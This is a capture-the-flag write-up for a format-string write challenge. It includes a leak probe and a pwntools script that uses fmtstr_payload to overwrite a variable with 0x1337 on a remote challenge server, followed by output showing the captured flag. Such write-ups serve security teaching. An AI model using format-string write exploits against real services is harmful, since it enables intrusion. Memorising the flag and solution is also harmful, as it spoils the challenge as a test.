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## Solution
We see the program suffers a ``format write`` vulnerability.
```
$./format_write.bin
Enter your name: %6$pAAAABBBB
0x4141414170243625AAAABBBB
```
We can use this to satisfy the conditions to print the flag by writing ``0x1337`` to ``val``.
```python
from pwn import *
binary = args.BIN
context.terminal = ["tmux", "splitw", "-h"]
e = context.binary = ELF(binary)
r = ROP(e)
gs = '''
continue
'''
def start():
if args.GDB:
return gdb.debug(e.path, gdbscript=gs)
elif args.REMOTE:
return remote('107.178.209.165',5337)
else:
return process(e.path)
p = start()
val = e.sym['val']
desired_val= 0x1337
payload_writes = {
val : desired_val,
}
payload = fmtstr_payload(6,payload_writes,write_size='short')
p.sendline(payload)
p.interactive()
```
Running our script yields the flag
```
$ python3 pwn-format.py BIN=./format_write.bin REMOTE
[*] '/root/workspace/access_denied/format-write/format_write.bin'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] Loaded 14 cached gadgets for './format_write.bin'
[+] Opening connection to 107.178.209.165 on port 5337: Done
[*] Switching to interactive mode
Enter your name: paaaal@@accessdenied{f0rm4t_str1n9_wr1t3s_ar3_t00_g00d_6126758a}
paaaal@@accessdenied{f0rm4t_str1n9_wr1t3s_ar3_t00_g00d_6126758a}
```
